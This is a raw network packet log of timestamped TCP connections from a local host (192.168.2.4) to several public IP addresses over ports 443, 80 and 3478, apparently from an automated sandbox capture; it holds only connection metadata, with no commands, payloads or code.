Nov 27, 2024 04:06:52.122627020 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.122678995 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.122709990 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.122718096 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.122754097 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.122771978 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.132591009 CET	443	49769	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:52.132838011 CET	49769	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:52.132904053 CET	443	49769	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:52.133824110 CET	443	49769	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:52.133894920 CET	49769	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:52.134260893 CET	49769	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:52.134327888 CET	443	49769	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:52.134635925 CET	49769	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:52.134660959 CET	443	49769	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:52.134705067 CET	49769	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:52.134740114 CET	443	49769	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:52.155366898 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.155416012 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.155472040 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.155479908 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.155517101 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.155538082 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.185798883 CET	49769	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:52.220132113 CET	3478	49767	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:52.237423897 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.237476110 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.237529039 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.237548113 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.237574100 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.237591982 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.262274981 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.262309074 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.262413979 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.262437105 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.262476921 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.274161100 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:52.283674002 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.283704042 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.283751011 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.283766985 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.283807993 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.287462950 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.287555933 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.287568092 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.287595987 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.290237904 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:52.290354013 CET	49768	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:52.294802904 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.294827938 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.360377073 CET	443	49771	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:52.364818096 CET	49771	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:52.364839077 CET	443	49771	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:52.365735054 CET	443	49771	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:52.365802050 CET	49771	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:52.372375011 CET	49771	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:52.372438908 CET	443	49771	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:52.372577906 CET	49771	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:52.372587919 CET	443	49771	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:52.410527945 CET	3478	49767	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:52.410701990 CET	3478	49768	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:52.419882059 CET	49771	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:52.447824955 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:52.450567007 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:52.450591087 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:52.451738119 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:52.475393057 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:52.475677967 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:52.476520061 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:52.497634888 CET	3478	49767	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:52.500790119 CET	3478	49768	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:52.519330978 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:52.550848007 CET	49768	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:52.550934076 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:52.652386904 CET	443	49769	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:52.652468920 CET	443	49769	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:52.653600931 CET	49769	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:52.653981924 CET	49769	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:52.654002905 CET	443	49769	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:52.656857014 CET	49773	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:52.656898022 CET	443	49773	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:52.656992912 CET	49773	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:52.657227993 CET	49773	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:52.657242060 CET	443	49773	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:52.813147068 CET	3478	49767	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:52.813393116 CET	3478	49768	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:52.828670979 CET	443	49771	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:52.828747988 CET	443	49771	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:52.832031965 CET	49771	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:52.835959911 CET	49771	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:52.835983992 CET	443	49771	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:52.856878042 CET	49768	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:52.856897116 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:53.019248009 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:53.019413948 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:53.019506931 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:53.019572020 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:53.019583941 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:53.019613028 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:53.019663095 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:53.020003080 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:53.020051956 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:53.020066023 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:53.020153046 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:53.020204067 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:53.020204067 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:53.020214081 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:53.020240068 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:53.020256996 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:53.923187971 CET	443	49773	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:53.923577070 CET	49773	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:53.923594952 CET	443	49773	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:53.923923969 CET	443	49773	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:53.924345016 CET	49773	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:53.924401999 CET	443	49773	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:53.924518108 CET	49773	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:53.971328974 CET	443	49773	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:54.377461910 CET	443	49773	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:54.377530098 CET	443	49773	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:54.377574921 CET	49773	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:54.378449917 CET	49773	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:54.378469944 CET	443	49773	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:55.311666965 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:55.311805964 CET	49768	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:55.431988001 CET	3478	49767	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:55.432104111 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:55.432410955 CET	3478	49768	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:55.432475090 CET	49768	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:58.548823118 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:58.548875093 CET	443	49775	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:58.548959970 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:58.549230099 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:58.549242020 CET	443	49775	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:58.838340998 CET	49776	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:06:58.838392019 CET	443	49776	13.227.8.47	192.168.2.4
Nov 27, 2024 04:06:58.838464022 CET	49776	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:06:58.838653088 CET	49776	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:06:58.838664055 CET	443	49776	13.227.8.47	192.168.2.4
Nov 27, 2024 04:06:59.931885958 CET	443	49775	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:59.932501078 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:59.932527065 CET	443	49775	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:59.933526993 CET	443	49775	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:59.933589935 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:59.934673071 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:59.934766054 CET	443	49775	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:59.934875965 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:06:59.934883118 CET	443	49775	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:59.978359938 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:00.655999899 CET	443	49776	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:00.656425953 CET	49776	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:00.656461000 CET	443	49776	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:00.657680988 CET	443	49776	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:00.657759905 CET	49776	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:00.659045935 CET	49776	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:00.659121037 CET	443	49776	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:00.659257889 CET	49776	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:00.659270048 CET	443	49776	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:00.702378988 CET	49776	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:00.753515959 CET	443	49775	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:00.754040956 CET	443	49775	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:00.754097939 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:00.754123926 CET	443	49775	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:00.754137039 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:00.754137039 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:00.754179955 CET	49775	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:00.754987955 CET	49777	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:00.755023003 CET	443	49777	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:00.755085945 CET	49777	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:00.755398989 CET	49777	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:00.755414963 CET	443	49777	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:01.755939007 CET	443	49776	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:01.756181955 CET	443	49776	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:01.756253958 CET	49776	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:01.867080927 CET	49776	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:01.867113113 CET	443	49776	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:02.087027073 CET	443	49777	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:02.087266922 CET	49777	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:02.087280035 CET	443	49777	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:02.087590933 CET	443	49777	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:02.087975025 CET	49777	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:02.088082075 CET	443	49777	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:02.088103056 CET	49777	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:02.131321907 CET	443	49777	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:02.142389059 CET	49777	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:02.679789066 CET	443	49777	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:02.680424929 CET	443	49777	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:02.680494070 CET	49777	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:02.680877924 CET	49777	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:02.680893898 CET	443	49777	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:02.824717999 CET	49778	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:02.824757099 CET	443	49778	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:02.824850082 CET	49778	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:02.825067997 CET	49778	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:02.825078011 CET	443	49778	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:04.207887888 CET	443	49778	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:04.208138943 CET	49778	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:04.208164930 CET	443	49778	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:04.209043026 CET	443	49778	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:04.209105015 CET	49778	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:04.209561110 CET	49778	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:04.209610939 CET	443	49778	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:04.209727049 CET	49778	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:04.209739923 CET	443	49778	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:04.264379025 CET	49778	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:04.740712881 CET	443	49778	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:04.740972042 CET	443	49778	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:04.741139889 CET	49778	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:04.741700888 CET	49778	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:04.741719961 CET	443	49778	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:14.180919886 CET	80	49735	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:14.181035042 CET	49735	80	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:16.095906019 CET	49735	80	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:16.215919018 CET	80	49735	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:22.412699938 CET	49779	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:22.412744045 CET	443	49779	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:22.412844896 CET	49779	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:22.413398027 CET	49779	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:22.413417101 CET	443	49779	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:22.417320967 CET	49780	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:22.417392015 CET	443	49780	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:22.417491913 CET	49780	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:22.417707920 CET	49780	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:22.417726994 CET	443	49780	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:23.793849945 CET	443	49779	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:23.794426918 CET	49779	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:23.794439077 CET	443	49779	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:23.794783115 CET	443	49779	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:23.795278072 CET	49779	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:23.795350075 CET	443	49779	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:23.795490026 CET	49779	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:23.839344025 CET	443	49779	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:24.144814968 CET	443	49780	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:24.145143032 CET	49780	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:24.145168066 CET	443	49780	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:24.145651102 CET	443	49780	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:24.145962954 CET	49780	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:24.146053076 CET	443	49780	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:24.146089077 CET	49780	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:24.187988043 CET	49780	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:24.187999010 CET	443	49780	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:24.310767889 CET	443	49779	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:24.311270952 CET	443	49779	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:24.311342001 CET	49779	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:24.311994076 CET	49779	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:24.312004089 CET	443	49779	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:24.312014103 CET	49779	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:24.312050104 CET	49779	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:24.312891960 CET	49781	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:24.312952995 CET	443	49781	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:24.313019991 CET	49781	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:24.313339949 CET	49781	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:24.313353062 CET	443	49781	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:25.034034967 CET	443	49780	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:25.034305096 CET	443	49780	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:25.034363985 CET	49780	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:25.034816980 CET	49780	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:25.034851074 CET	443	49780	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:25.034869909 CET	49780	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:25.034893036 CET	49780	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:25.711725950 CET	443	49781	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:25.715750933 CET	49781	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:25.715776920 CET	443	49781	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:25.716166019 CET	443	49781	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:25.727507114 CET	49781	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:25.727591991 CET	443	49781	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:25.727680922 CET	49781	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:25.771323919 CET	443	49781	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:26.236617088 CET	443	49781	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:26.237386942 CET	443	49781	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:26.237437963 CET	49781	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:26.237689018 CET	49781	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:26.237705946 CET	443	49781	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:26.242779016 CET	49782	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:26.242826939 CET	443	49782	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:26.242887020 CET	49782	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:26.243211985 CET	49782	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:26.243226051 CET	443	49782	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:26.469607115 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:26.469641924 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:26.469712019 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:26.470037937 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:26.470053911 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:26.883721113 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:26.883754969 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:26.883832932 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:26.884161949 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:26.884176016 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:27.632756948 CET	443	49782	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:27.633168936 CET	49782	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:27.633197069 CET	443	49782	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:27.633544922 CET	443	49782	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:27.633873940 CET	49782	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:27.633928061 CET	443	49782	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:27.633997917 CET	49782	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:27.679330111 CET	443	49782	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:28.125941038 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.126017094 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:28.131331921 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:28.131345034 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.131763935 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.144418955 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:28.152833939 CET	443	49782	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:28.153376102 CET	443	49782	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:28.153431892 CET	49782	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:28.154613018 CET	49782	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:28.154638052 CET	443	49782	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:28.191329002 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.732877016 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:28.732955933 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:28.734791040 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:28.734801054 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:28.735028982 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:28.745485067 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:28.790281057 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.790366888 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.790409088 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.790441036 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:28.790452957 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.790489912 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:28.790507078 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:28.791331053 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:28.827691078 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.827743053 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.827773094 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:28.827794075 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.827819109 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.827825069 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:28.827868938 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:28.828063965 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:28.828084946 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:28.828095913 CET	49783	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:07:28.828100920 CET	443	49783	20.109.210.53	192.168.2.4
Nov 27, 2024 04:07:29.238929987 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.238957882 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.238975048 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.239063978 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.239064932 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.239084005 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.239403963 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.430596113 CET	443	49784	13.107.246.63	192.168.2.4
